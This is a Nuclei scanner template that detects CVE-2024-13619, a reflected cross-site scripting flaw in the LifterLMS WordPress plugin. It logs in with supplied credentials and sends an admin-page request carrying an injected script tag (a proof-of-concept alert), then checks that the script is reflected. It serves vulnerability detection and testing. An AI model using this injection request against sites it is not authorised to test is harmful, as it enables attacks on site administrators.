id: CVE-2024-13619

info:
  name: LifterLMS < 8.0.1 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    LifterLMS WordPress plugin before 8.0.1 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin via a crafted request.
  impact: |
    Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.
  remediation: |
    Update to version 8.0.1 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/lifterlms/lifterlms-800-reflected-cross-site-scripting
    - https://wpscan.com/vulnerability/97a7e1a6-0fb3-49e9-86fc-ebb1d426fcca/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13619
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13619
    cwe-id: CWE-79
    epss-score: 0.00521
    epss-percentile: 0.40031
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="lifterlms"
  tags: cve,cve2024,wordpress,wp,wp-plugin,lifterlms,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=llms_form&_llms_bbp_forum_ids=1&"></script><script>alert("document_domain")</script><script>=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "</script><script>alert(\"document_domain\")</script><script>", "llms_form")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220037c96b17f90a48d6e82702aa7c97901d7870a17ed51e3da34511b0a233a7fba02201d72689b8962c33ffc66063e1659e87dff305a3859044460183341969ce2da05:922c64590222798bb761d5b6d8e72950